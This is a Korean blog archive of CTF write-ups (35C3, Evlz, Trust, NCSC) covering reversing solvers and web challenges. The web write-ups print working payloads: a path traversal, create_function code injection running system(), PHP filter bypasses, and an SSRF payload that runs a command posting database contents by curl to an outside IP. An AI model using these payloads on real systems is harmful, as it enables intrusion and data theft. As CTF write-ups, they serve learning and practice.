보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.

35C3 CTF 2018 COREBOT

CTF/Writeup 2019. 2. 26. 01:36

Windows 리버싱이다. 헥스레이로 코드를 보면 전체 코드자체는 간단하다.



전체 로직을 대충 설명해보면 Windows의 CryptoApi로 암호화된 값을 복호화 하고 이 때 사용하는 키를 로컬 PC의 볼륨 시리얼 값을 통해 생성한다.


암호화된 값은 sub_1261146 함수에서 특정 리소스 값을 통해 가져오는걸 사용해 주면 된다. 키 값과 같은 경우 실제 문제 서버의 시리얼 값을 알 수 없지만 실제 시리얼을 구해오는 걸 보면 2바이트 값이기 때문에 위 키 값 생성로직을 그대로 사용해서 brute  forcing이 가능하다.


CryptoApi와 같은 경우 해당 문제를 통해 처음 봤는데 구글링하면서 각 함수의 인자들이 어떤 의미인지 검색해가면서 확인했다. 이 부분에서 생각보다 애를 먹었는데 분석 결과 AES 암호화에 ECB 블록운용 방식을 사용하고 있었다.


위 코드에서 복호화된 값의 첫4바이트가 35C3인지 확인하고있기 때문에 이에 맞춰서 brute force해주는 python 코드를 짜서 돌려줬다.


from Crypto.Cipher import AES

def decrypt_AES_ecb(ciphertext,key):
cipher = AES.new(key,AES.MODE_ECB)
plaintext = cipher.decrypt(ciphertext)
return plaintext

resource = "1029B8459D2AAB93FE89FB829342A18C2E90630006118064B821C29F35E77EF2".decode("hex")


for serial in range(0x0,0xffff+1):
key = ""
for i in range(0,16):
key = chr((serial& 0xFF)) + chr((serial&0xff00)>>8) + key
serial ^= ((serial & 0xFFFF) >> 4) ^ ((serial & 0xFFFF) << 11) ^ ((serial & 0xFFFF) << 7)
flag = decrypt_AES_ecb(resource,key)
if "35c3" in flag.lower():
print "Find Flag[*] = "+flag


Find Flag[*] = 35C3_MalwareAuthorKryptoChef











'CTF > Writeup' 카테고리의 다른 글

SSCTF 2016 : Re1  (0) 2019.03.13
Sharif University CTF 2016 : Serial  (0) 2019.03.11
Evlz CTF 2019 Smol-Big  (0) 2019.02.20
Codegate CTF 2019 KingMaker  (0) 2019.02.16
Trust CTF 2019 Web Writeup  (0) 2019.02.16
블로그 이미지

JeonYoungSin

메모 기록용 공간

,

Evlz CTF 2019 Smol-Big

CTF/Writeup 2019. 2. 20. 20:37

대회 때 바이너리를 받아놓고 풀어보진 않았었는데, 풀 문제들 찾아보다 눈에보여서 풀어봤다.


먼저 바이너리를 실행해보면 입력값을 받아 1,0으로 이루어진 2진수 값으로 반환을 해준다. 이 값이 어떻게 반환되는지 보기 위해 아래 코드를 분석해봤다.



코드를 보면 0x55FF4A443080 메모리 영역에 테이블 값이 존재했는데 대충 값을 보니 아래와 같은 형태로 이루어져 있었다.


10 , 1 , 0 , 1 , 0 , 1 , 0 , 1 , 0 , 1 , 0 , 1 , 5 , 1 , 1 , 1 , 1 , 1 , 0 , 1 , 0 , 1 , 0 , 1  


이 때 입력 값으로 테이블 인덱스 값을 구해 해당 인덱스의 존재하는 값을 길이로 지정한다. 그 후 해당 길이만큼 반복문을 돌면서 그 다음 메모리에 존재하는 값들을 더해 구한 2진수 값 만들고 반환해준다.


알고리즘 분석은 다 했으니 이제 역연산을 해주면 되는데, 문제에서 바이너리와 함께 제공해준 데이터 파일을 역연산 해주면 된다.


flag_binary = "11110101011110010101111101111001110001100000001000000100101011111001110001100110100010110010111010111100101011100011000010000000001101110001100111000000011110011111000110111001001111100011001101011010111100000010011111011010110011011111000110101011100101011100011001110000000110100000001000000000001001101011000001100001001111110001100111110001011100000001101110010011111000110000100111110110100111000110011010001011111000110011111000000101010010011110001011110100111000110000110111110111100100000101111001010111000110000000110000110101100000110100000001101001010111000000110111000110010101001101110001100001011111100000001001001011110010101111101110001100111110001101110001100110100010110010111010111100101011111011100011001111001110000000100111110000111000000011100011001110000000001011100000111011110101111000000011100101111110001100110111001101110001100111110110000000001111001110001100111000000011010011100011001111000000011000000000111100111000110011011011111011000000000111000000011110011100100111110001100111110110110001011101110011101000001101011111000000111110010000110010101110010001001000010000000111000000111000011100000110000011101001001110000011100111111000000111100000011101001110000011101101110000001110010101110000011000010111001000111100000000010111111010001100001011101000011101011001101011011100011001110111101010000000100111000110011000001011001000011011001010101011101001110001100111110010100111110110010101101011000000011011100000000011000000010111100001110001100101010010111001011111100000001111001101011010111110001100001011111100000001001001011110010100000000100111000110011000000000001000000011100011001010100110111000110011100000000010111000001110111101010000010000111000110011111001010011100011001111101110000000111000110011010110101111110011110001011110100010111110001100110101101011110000001001111101110111101011110000000001101110010111111000110011111110101000000010011100011001110000000101010011011111011100011000000011001010101011100101011111011100011001101000101100101110101111001010111000110000000110000111000110011001010111110100001100101011111000001011111011000011010011111011001010000000011011100011000000011000011100011001101100101100101111010110000001101110000000001101111101110001100110110111110001011100000001101110001100111110001000010011111011100011001101011000000010111001011110101111100111000110011010001011001011101011110010101111101110001100111110101011110001100101101010110011100000111000000000110111000110011000010101001011100101111110000000111000110010000111000000011001010000001110000000001101010111001010"

table = "10,1,1,1,0,0,0,1,1,0,0,0,10,1,1,1,0,0,0,1,1,1,0,0,10,1,1,1,0,0,0,0,1,0,0,0,10,1,1,1,0,0,0,1,1,1,1,0,10,1,1,1,0,1,0,0,1,1,1,0,10,1,1,1,0,0,0,0,1,0,1,0,10,1,1,1,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,10,1,1,1,0,0,1,1,0,0,0,0,10,1,1,1,0,0,1,0,0,0,0,0,10,1,1,1,0,0,0,0,1,1,1,0,10,1,1,1,0,1,0,0,0,1,0,0,10,1,1,1,0,0,1,0,0,1,1,0,10,1,1,1,0,0,1,0,1,0,1,0,10,1,1,1,0,0,1,0,1,1,1,0,10,1,1,0,0,1,0,0,0,1,1,0,10,1,1,1,0,0,0,0,0,0,1,0,10,1,1,1,0,0,1,1,0,0,1,0,10,1,1,1,0,1,0,0,1,1,0,0,10,1,1,1,0,0,1,0,0,0,1,0,10,1,1,1,0,0,0,0,1,1,0,0,10,1,1,1,0,1,0,0,1,0,0,0,10,1,1,1,0,1,0,0,1,0,1,0,10,1,1,1,0,1,0,0,0,1,1,0,10,1,1,1,0,0,1,0,0,1,0,0,10,1,1,1,0,1,0,1,1,1,0,0,10,1,1,1,0,1,0,1,1,1,1,0,10,1,1,1,0,1,0,1,1,0,0,0,10,1,1,1,0,1,0,1,1,0,1,0,10,1,1,1,0,1,0,1,0,1,0,0,10,1,1,1,0,0,0,1,0,0,0,0,10,1,1,1,0,0,0,0,0,1,0,0,10,1,1,1,0,1,0,1,0,0,1,0,5,1,0,0,0,1,0,0,0,0,0,0,7,1,1,0,1,0,1,0,0,0,0,0,6,1,1,0,0,1,1,0,0,0,0,0,6,1,1,1,1,1,1,0,0,0,0,0,5,1,0,1,1,1,0,0,0,0,0,0,6,1,0,0,1,1,0,0,0,0,0,0,6,0,0,0,0,1,1,0,0,0,0,0,5,0,0,0,1,0,0,0,0,0,0,0,5,0,1,1,0,1,0,0,0,0,0,0,9,1,1,1,0,0,1,1,0,1,0,0,7,0,0,1,0,1,1,0,0,0,0,0,6,1,1,1,1,0,1,0,0,0,0,0,6,1,1,0,0,0,1,0,0,0,0,0,5,0,1,0,0,1,0,0,0,0,0,0,5,0,1,1,1,1,0,0,0,0,0,0,7,1,1,1,0,1,1,0,0,0,0,0,8,1,1,0,0,1,0,0,1,0,0,0,5,0,0,0,1,1,0,0,0,0,0,0,5,0,0,1,1,1,0,0,0,0,0,0,5,1,0,1,0,0,0,0,0,0,0,0,6,1,1,0,1,1,1,0,0,0,0,0,7,0,1,1,1,0,1,1,0,0,0,0,6,0,1,0,0,0,1,0,0,0,0,0,8,1,1,1,0,0,1,1,1,0,0,0,6,0,1,0,1,0,1,0,0,0,0,0,10,1,1,1,0,0,1,0,1,1,0,0,6,0,1,0,0,0,0,0,0,0,0,0,10,1,1,1,0,1,0,1,0,1,1,0,10,1,1,1,0,0,0,1,0,0,1,0,9,1,1,0,0,1,0,0,0,0,0,0,10,1,1,1,0,0,0,0,0,1,1,0,10,1,1,1,0,1,0,1,0,0,0,0,10,1,1,1,0,0,0,0,0,0,0,0,5,1,0,0,1,0,0,0,0,0,0,0,7,1,1,0,1,0,1,1,0,0,0,0,6,1,1,0,1,0,0,0,0,0,0,0,6,1,1,1,1,1,0,0,0,0,0,0,5,1,0,1,1,0,0,0,0,0,0,0,6,1,0,0,1,1,1,0,0,0,0,0,6,0,0,0,0,1,0,0,0,0,0,0,5,0,0,0,0,0,0,0,0,0,0,0,5,0,1,1,0,0,0,0,0,0,0,0,9,1,1,1,0,0,0,1,0,1,0,0,7,0,0,1,0,1,1,1,0,0,0,0,6,1,1,1,1,0,0,0,0,0,0,0,6,1,1,0,0,0,0,0,0,0,0,0,5,0,1,0,1,1,0,0,0,0,0,0,5,1,0,0,0,0,0,0,0,0,0,0,7,1,1,1,0,1,1,1,0,0,0,0,8,1,1,0,0,1,0,1,0,0,0,0,5,0,0,1,0,0,0,0,0,0,0,0,5,0,0,1,1,0,0,0,0,0,0,0,5,1,0,1,0,1,0,0,0,0,0,0,6,1,1,0,1,1,0,0,0,0,0,0,7,0,1,1,1,0,1,0,0,0,0,0,6,0,1,0,1,0,0,0,0,0,0,0,8,1,1,0,0,1,0,1,1,0,0,0,6,0,1,1,1,0,0,0,0,0,0,0,10,1,1,1,0,1,0,0,0,0,0,0,6,0,0,1,0,1,0,0,0,0,0,0,10,1,1,1,0,1,0,0,0,0,1,0"

table = table.split(',')

count = 1

binary = ""

binary_table = []



for i in range(0,len(table)):

    if i%12==0:

        tmp = int(table[i],10)

    elif i%12==11:

        binary_table.append(binary[0:tmp])

        binary = ""

        count += 1

    else:

        binary += table[i]


def flagSearch(flag_binary):

    for i in range(5,11):

        result = findString(flag_binary[0:i])

        if result!="not found":

            return [result,i]


def findString(data):

    for i in range(0,len(binary_table)):

        if data==binary_table[i]:

            return chr(i+32)

    return "not found"


flag = ""

for i in range(0,600):

    result = flagSearch(flag_binary)

    flag += result[0]

    flag_binary = flag_binary[result[1]:]

print flag


해당 코드를 돌려주면 아래와 같은 문장이 나오고 해당 문장 안에 플래그가 들어있었다.


Result

Lorem ipsum dolor sit amet, consectetur adipiscing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, evlz{c0mpr3ssi0n_i5_g00d_f0r_h3al7h}ctf quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat. Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur


Flag = evlz{c0mpr3ssi0n_i5_g00d_f0r_h3al7h}ctf




'CTF > Writeup' 카테고리의 다른 글

Sharif University CTF 2016 : Serial  (0) 2019.03.11
35C3 CTF 2018 COREBOT  (0) 2019.02.26
Codegate CTF 2019 KingMaker  (0) 2019.02.16
Trust CTF 2019 Web Writeup  (0) 2019.02.16
Evlz CTF 2019 FindMe  (0) 2019.02.06
블로그 이미지

JeonYoungSin

메모 기록용 공간

,

2019년 목표 및 일정

2019. 2. 20. 13:14

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.

Codegate CTF 2019 KingMaker

2019. 2. 16. 16:18

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.

Archiver


문제에서 소스코드를 제공해 준다.


코드를 쭉 분석해보면 파일 다운로드 취약점이 터지는 부분이 보인다.


def viewArchive():

    url    = request.form['url']

    T      = request.form['T']

    hashed = util.hashing(url)


    fd = open('%s/%s/%s' % (app.config['path'], hashed, str(T)), 'r')

    data = unicode(fd.read())

    fd.close()

    return render_template('view.html', data=data)


T 파라미터에 ../로 상위 경로 파일을 읽어주면 된다.


url=http%3A%2F%2Fwww.naver.com&T=../../../flag&btn=Save


Flag = TRUST{Easy_Local_file_traversal_N3xt_t1me_i_1l_us3_DB..:(}



JJcode


문제에 들어가서 페이지 돌아다니다보면 css파일을 다운로드할때 파일 다운로드 취약점이 터진다. 이걸로 전체 소스를 쭉 가져와서 보면 util.php 라는 파일에서 취약점이 보인다.


util.php


<?php

    function checkLogin_(){

        if(isset($_SESSION["username"])){

            return 1;

        }else{

            return 0;

        }

    }


    function checkLogin(){

        if(!checkLogin_()){

            die("Plz login");

        }

    }


    function hashing($data){

        return hash("sha256", "myst4rt_S4lt".$data."y0ur_3nd_sa1t");

    }


    function render($data){

        $data = preg_replace('/</i', '&lt;', $data);

        $data = preg_replace('/>/i', '&gt;', $data);

        $data = preg_replace('/\"/i', '&quot;', $data);

        $data = preg_replace('/javascript/i', '', $data);


        $data = preg_replace('/\[bold\](.*)\[\/bold\]/i', '<b>${1}</b>', $data);

        $data = preg_replace('/\[italic\](.*)\[\/italic\]/i', '<i>${1}</i>', $data);

        $data = preg_replace('/\[under\](.*)\[\/under\]/i', '<u>${1}</u>', $data);

        $data = preg_replace('/\[delete\](.*)\[\/delete\]/i', '<s>${1}</s>', $data);

        $data = preg_replace('/\[quote\](.*)\[\/quote\]/i', '<blockquote><p>${1}</p></blockquote>', $data);

        $data = preg_replace('/\[img\](.*)\[\/img\]/i', '<img src="${1}">', $data);


        $data = preg_replace('/\[youtube\](https?:\/\/www.youtube.com\/embed\/.*)\[\/youtube\]/i', '<iframe width="560" height="315" src="${1}" frameborder="0" allow="accelerometer; autoplay; encrypted-media; gyroscope; picture-in-picture" allowfullscreen></iframe>', $data);


        $data = preg_replace('/\[enter\]/i', '<br>', $data);


        $data = preg_replace('/\[color=(\w{0,4})\](.*)\[\/color\]/i', '<span style="color:${1};">${2}</span>', $data);

        $data = preg_replace('/\[size=(\d{0,4})\](.*)\[\/size\]/i', '<span style="font-size:${1}px;">${2}</span>', $data);


        preg_match_all('/\[link\](https?:\/\/[^\[\]]*)\[\/link\]/', $data, $res);

        

        for($i = 0; $i < count($res[0]); $i++){

            $replace = $res[0][$i];

    $url = $res[1][$i];

    $curl = curl_init();

    

    curl_setopt($curl, CURLOPT_URL, $url);

            curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, FALSE);

            curl_setopt($curl, CURLOPT_SSL_VERIFYHOST, 0);

            curl_setopt($curl, CURLOPT_HEADER, 0);

            curl_setopt($curl, CURLOPT_USERAGENT, $_SERVER['HTTP_USER_AGENT']);

    curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);

    

    $html = curl_exec($curl);


    if(curl_error($curl))

                $html = '';

    

    curl_close($curl);


            $desc = preg_match('/<meta property="og:description" content="(.*)"\/?>/i', $html, $match) ? $match[1] : $url;


            $title = preg_match('/\<title\>([^<>]*)<\/title\>/i', $html, $match) ? $match[1] : $url;

            if($title == $url){

                preg_match('/https?:\/\/(www|).([^.]*).*/i', $url, $title);

                $title = $title[2];

            }


            $img = preg_match('/<meta property="og:image" content="(.*)"\/?>/i', $html, $match) ? $match[1] : 'https://vignette.wikia.nocookie.net/ecole-oraliste-eslvocabulary/images/a/a1/None_flowers.jpg/revision/latest?cb=20150321170046';

            

            $curl = curl_init();

            curl_setopt($curl, CURLOPT_URL, $img);

            curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, FALSE);

            curl_setopt($curl, CURLOPT_SSL_VERIFYHOST, 0);

            curl_setopt($curl, CURLOPT_HEADER, 0);

            curl_setopt($curl, CURLOPT_USERAGENT, $_SERVER['HTTP_USER_AGENT']);

            curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);

            $img_data = base64_encode(curl_exec($curl));

            if(curl_error($curl))

                $img_data = '';

            

            curl_close($curl);

            

            $tag = "<div class=\"box\" onclick=\"window.open('${url}')\"><div class=\"content\"><img style=\"float:left;\" src=\"data:image/png;base64, ${img_data}\"><div class=\"text\"><h2>${title}</h2><span style=\"font-size:14px\">${desc}</span></div></div></div>";


            $data = str_replace($replace, $tag,$data);

        }

        return $data;

    }

?>


해당 파일의 render 함수는 내가 작성한 게시글을 읽을 때 게시글 내용을 인자로 받아 호출되는데 해당 함수 내에서 아래 코드의 url 부분에 게시글 내용을 삽입시킬 수 있어 ssrf가 터진다.

preg_match_all('/\[link\](https?:\/\/[^\[\]]*)\[\/link\]/', $data, $res);

      

for($i = 0; $i < count($res[0]); $i++){

            $replace = $res[0][$i];

    $url = $res[1][$i];

    $curl = curl_init();


curl_setopt($curl, CURLOPT_URL, $url);

curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, FALSE);


이걸로 뭘 할수 있는지 이제 생각해보면 되는데 게싱으로 admin.php 페이지를 발견했고 해당 페이지 코드는 아래와 같았다.


admin.php


<?php

    if(in_array($_SERVER['REMOTE_ADDR'], array('127.0.0.1', '::1'))){

        system($_GET['cmd']);

    }

?>


이제 ssrf로 admin.php 페이지를 요청해서 system함수를 사용해주면 된다.


명령어 실행결과를 nc로 받아주면되고 플래그가 DB에 있어서 디비에서 뽑아주면 된다.


Payload

[link]http://127.0.0.1/admin.php?cmd=curl%20http://125.180.217.107:9090%20-d%20%22a=`php%20-r%20%22var_dump(mysqli_fetch_assoc(mysqli_query(mysqli_connect('localhost','jjcode','jjcode1234','jjcode'),'select%20*%20from%20fl4g_here_hahahaha.fl4g_b0x_box')));%22`%22[/link]


Flag = flag{hel1o_fl4g_y0u_g3t_1t~XD}




'CTF > Writeup' 카테고리의 다른 글

Evlz CTF 2019 Smol-Big  (0) 2019.02.20
Codegate CTF 2019 KingMaker  (0) 2019.02.16
Evlz CTF 2019 FindMe  (0) 2019.02.06
Evlz CTF 2019 WeTheUsers  (0) 2019.02.04
NCSC CTF 2019 Web Wrietup  (0) 2019.02.04
블로그 이미지

JeonYoungSin

메모 기록용 공간

,

Evlz CTF 2019 FindMe

CTF/Writeup 2019. 2. 6. 11:58

바이너리를 실행해보면 키 값을 입력받아 총 3개의 함수를 거쳐 여러가지 연산을 한다. 



먼저 첫번째 함수를 보면 다음과 같이 알파벳들에 대해 간단한 rotate 연산을 한다.



두번째 함수와 세번째 함수와 같은 경우 코드가 복잡해서 디버깅을 통해 리턴값을 확인해보니 두번째 함수는 몇몇 특수문자들에 대한 URL Encoding을 하고있었고, 세번째 함수는 base64 인코딩을 하고 있었다.


위 세 함수를 거친 값을 dWdnYyUzQSUyRiUyRnJpeW0lN0JoZXlfZnJyemZfZWJnZ3JhX2p2Z3VfNjQlN0RwZ3MucGJ6 요놈과 비교해주기 때문에 간단히 역연산 해주는 코드를 아래와 같이 짜서 돌려줬다.


import urllib2

result = "dWdnYyUzQSUyRiUyRnJpeW0lN0JoZXlfZnJyemZfZWJnZ3JhX2p2Z3VfNjQlN0RwZ3MucGJ6".decode("base64")

result = urllib2.unquote(result).decode('utf8')

dec = ""

for i in range(0,len(result)):

    if ord(result[i])>64 and ord(result[i])<=90:

        dec += chr((ord(result[i])-52)%26+65)

    elif ord(result[i])>96 and ord(result[i])<=122:

        dec += chr((ord(result[i]) - 84) % 26 + 97)

    else:

        dec += result[i]

print dec


Flag = http://evlz{url_seems_rotten_with_64}ctf.com

'CTF > Writeup' 카테고리의 다른 글

Codegate CTF 2019 KingMaker  (0) 2019.02.16
Trust CTF 2019 Web Writeup  (0) 2019.02.16
Evlz CTF 2019 WeTheUsers  (0) 2019.02.04
NCSC CTF 2019 Web Wrietup  (0) 2019.02.04
Codegate CTF 2019 Preliminary Rich Project  (0) 2019.01.27
블로그 이미지

JeonYoungSin

메모 기록용 공간

,

기본적으로 소스코드를 제공해준다.


  1. """
  2.     Web App with file based ACL.
  3. """
  4.  
  5. import os
  6. import struct
  7.  
  8. from flask import Flask, request, render_template, abort, flash, redirect, url_for
  9.  
  10. """
  11.     Flask Config
  12. """
  13. app = Flask(__name__)
  14. app = Flask(__name__)
  15. app.config['DEBUG'] = False
  16. app.secret_key = ""
  17.  
  18. FLAG = '??'
  19.  
  20. class ACL(object):
  21.     """
  22.     Intent:
  23.         ACL for the Application
  24.  
  25.     Responsibilities:
  26.         - Add New Records to ACL
  27.         - Verify existing records in ACL
  28.  
  29.     Data Structures
  30.         - record
  31.           {
  32.               'username': <str>username[100],
  33.               'password': <str>password[100],
  34.               'admin': <str:`true/false`>admin
  35.           }
  36.     """
  37.  
  38.     DEFAULT_ACL_FILE = 'acl.data'
  39.  
  40.     def __init__(self, *args, **kwargs):
  41.         """
  42.         ACL(, [file_name, ])
  43.         :param str file_name kwarg
  44.         """
  45.         self.acl_file = kwargs.get('acl_file', self.DEFAULT_ACL_FILE)
  46.         self.acl_lines = self._read_acl_file()
  47.  
  48.     """
  49.         Writing Methods
  50.     """
  51.     @staticmethod
  52.     def _pack_data(data_dict):
  53.         """
  54.             Pack data with data_structure.
  55.         """
  56.         return '{}:{}:{}'.format(
  57.                                     data_dict['username'],
  58.                                     data_dict['password'],
  59.                                     data_dict['admin']
  60.                                 )
  61.  
  62.     @staticmethod
  63.     def _append_data(filename, data):
  64.         """
  65.             write `data` to filename as binary data.
  66.         """
  67.         with open(filename, 'a') as f:
  68.             f.write(data)
  69.             f.write('\n') # New Line Delimiter
  70.  
  71.     def _append_record(self, data_dict, *args, **kwargs):
  72.         """
  73.             Pack data and append to file.
  74.         """
  75.         bin_data = self._pack_data(data_dict)
  76.  
  77.         self._append_data(self.acl_file, bin_data)
  78.  
  79.     def add_record(self, username, password, admin, *args, **kwargs):
  80.         """
  81.             Add record to ACL.
  82.             - Client Facing
  83.         """
  84.         record = {
  85.             'username': username,
  86.             'password': password,
  87.             'admin': admin
  88.         }
  89.  
  90.         self._append_record(data_dict=record)
  91.  
  92.         return record
  93.  
  94.     def _read_acl_file(self):
  95.         """
  96.             Read all the lines in `self.acl_file`
  97.         """
  98.         if not os.path.exists(self.acl_file):
  99.             return None
  100.  
  101.         with open(self.acl_file, 'r') as f:
  102.             lines = f.readlines()
  103.  
  104.         return lines
  105.  
  106.  
  107.     def _unpack_data(self, buffer):
  108.         """
  109.             Unpack the buffer and extract contents.
  110.         """
  111.         unpacked_data = buffer.strip()
  112.         unpacked_data = unpacked_data.split(':')
  113.  
  114.         record = {
  115.             'username': unpacked_data[0],
  116.             'password': unpacked_data[1],
  117.             'admin': unpacked_data[2],
  118.         }
  119.         return record
  120.  
  121.  
  122.     def verify(self, username, password):
  123.         """
  124.             Verify if username and password exist in ACL.
  125.             - Client Facing
  126.         """
  127.         for line in self.acl_lines:
  128.             try:
  129.                 data = self._unpack_data(line)
  130.             except:
  131.                 continue
  132.  
  133.             if username == data['username'] and password == data['password']:
  134.                 return True, data
  135.  
  136.         return False
  137.  
  138.  
  139. acl = ACL()
  140.  
  141. @app.route('/', methods=['GET', 'POST'])
  142. def index():
  143.     if request.method == 'GET':
  144.         return render_template('index.html', admin=False, flag=FLAG)
  145.     elif request.method == 'POST':
  146.         try:
  147.             username = request.form.get('username')
  148.             password = request.form.get('password')
  149.             is_user, record = acl.verify(username, password)
  150.             print(is_user)
  151.             if is_user:
  152.                 admin = True if record['admin'] == 'true' else False
  153.             else:
  154.                 raise Exception()
  155.             return render_template('index.html', admin=admin, flag=FLAG, record=record)
  156.         except:
  157.             return redirect(url_for('index'))
  158.  
  159. @app.route('/register', methods=['GET', 'POST'])
  160. def register():
  161.     if request.method == 'GET':
  162.         return render_template('register.html')
  163.     elif request.method == 'POST':
  164.         username = request.form.get('username')
  165.         password = request.form.get('password')
  166.         acl.add_record(username, password, 'false')
  167.  
  168.         return redirect(url_for('index'))
  169.  
  170. if __name__ == '__main__':
  171.     app.run(port=5000, debug=True)



_unpack_data 함수 내에서 데이터를 언패킹하는 과정에서 취약점이 터진다. 간단히 : 문자를 기분으로 split하기 때문에 회원가입 시 패스워드를 youngin:true 형태로 가입해 주면 된다.


그러면 기본적으로 youngin:youngin:false와 같은 구조가 youngin:youngin:true:false가 된다.


위와 같은 형태로 가입 후 id:youngin,pw:youngin 으로 로그인 해주면 되는데 이때 회원가입시 요청한 데이터가 들어가 있는 self.acl_lines 요 값이 로컬에서 테스트해보니 항상 일정하지가 않아서 내가 삽입한 데이터가 존재하지 않는 경우가 있었다.. 그래서 위와 같은 로그인을 여러번 반복해서 해주니 플래그가 나왔다.



Flag = evlz{T#3_W34K_$N4K3}ctf










'CTF > Writeup' 카테고리의 다른 글

Trust CTF 2019 Web Writeup  (0) 2019.02.16
Evlz CTF 2019 FindMe  (0) 2019.02.06
NCSC CTF 2019 Web Wrietup  (0) 2019.02.04
Codegate CTF 2019 Preliminary Rich Project  (0) 2019.01.27
INSOMNIHACK CTF TEASER 2019 Phuck2 :(  (0) 2019.01.22
블로그 이미지

JeonYoungSin

메모 기록용 공간

,

Lock - level 1


들어가보면 5자리 자물쇠가 나온다. 한 자리를 맞출때마다 응답 값에 현재 맞춘 자릿수의 개수를 알려준다.


총 5자리니까 최대 50번만 시도하면 각 자리수의 정답을 알수있다.





Eat'em all


들어가보면 선택가능한 옵션이 8가지가 있는데 최대 4가지 밖에 선택이 안된다. 자바스크립트에서 if (nomber>4) 이 조건을 대충 if(1>4) 이런식으로 수정해서 8개 다 클릭하고 요청하면 플래그 나온다.


Good job, take your flag: Securinets{HuNgRY_Pl4y3r}




MAGIC



들어가보면 위 소스를 제공해 준다. 조건에 맞는 값을 사용해주면 되는데 php의 type juggling을 사용해주면된다. 0e로 시작하는 값들을 brute forcing해서 위 조건에 맞는 값을 찾아주면 된다.


대충 아래와 같이 코드짜서 돌려줬다.


<?php

 $base = "0e";

 $result = "";

 $curr_number = 215961018; 

while (True){

$curr = $base . $curr_number;

  $result = md5($curr);

  if ($result==$curr){

  break;

  }

  $curr_number += 1;

 }

echo "Find Magic Value";

echo "<br>";

echo $curr;

echo "<br>";

echo $result;

echo "<br>";



Find Magic Value

0e215962017

0e291242476940776845150308577824


이제 찾은 0e215962017 요 값을 넣어주면 플래그가 나온다.


Securinets{Gg!H4K3Rm@N}




Token Prediction


전에 풀때는 세션 바꿔가면서 하니까 이상하게 돼서 풀때도 이상했는데, 지금다시 해보니까 잘 안된다. 요건 다시 풀리면 글 추가하도록 하겠다.




Follow me


문제에 들어가보면 아래와 같은 링크가 있다.


<a href="i#have#the?flag" class="btn-lg btn-block btn-primary">Free Flag</a>


요청되는 url을 url encoding해서 요청해주면 플래그가 나온다.

Flag = securinets{Us1ng_UrL_3nC0dInG}



HalflinePhp

들어가보면 소스코드를 제공해준다.


<?php error_reporting(0);highlight_file(__FILE__); $_ $_GET['_'];$__ $_GET['__'];$_(''$__);?>


위 구조에 맞는 php 함수를 사용해주면된다. 아래와 같이 create_function의 취약점을 통해 RCE 해주면 된다.


https://web6.ctfsecurinets.com/?_=create_function&__=}system('cat%20flag.php');//


Flag = Securinets{Th1$_1$_N0t_Th3_FL@G}




pHp knowledge


소스코드를 제공해주는데 아래와 같다.


<?php

$pi=$_POST['cmd'];

if(!isset($pi)) {header("Location: tlol.jpg");die("noooooooooononononono\n");}

if(preg_match('/(\_|\'|\"|`|\.|\$|\/|a|c|s|z|m|require|include)/i', $pi)) { header("Location: tlol.jpg");die("nooooooooooooonooo\n");}

else{

eval($pi.";");

}

?>


php sandbox류인데 필터를 적절히 우회해서 아래와 같이 리스팅이 가능했다.


cmd=print(glob(~%d5)[11])


result = zzzzzzz__fl_ag.txt


위 flag파일을 url로 직접 요청해보면 플래그를 구할 수 있다.


Securinets{I_ThiNk_U_R_G0oD_In_Peehp}























'CTF > Writeup' 카테고리의 다른 글

Evlz CTF 2019 FindMe  (0) 2019.02.06
Evlz CTF 2019 WeTheUsers  (0) 2019.02.04
Codegate CTF 2019 Preliminary Rich Project  (0) 2019.01.27
INSOMNIHACK CTF TEASER 2019 Phuck2 :(  (0) 2019.01.22
Insomnihack CTF Teaser 2019 l33t-hoster  (0) 2019.01.21
블로그 이미지

JeonYoungSin

메모 기록용 공간

,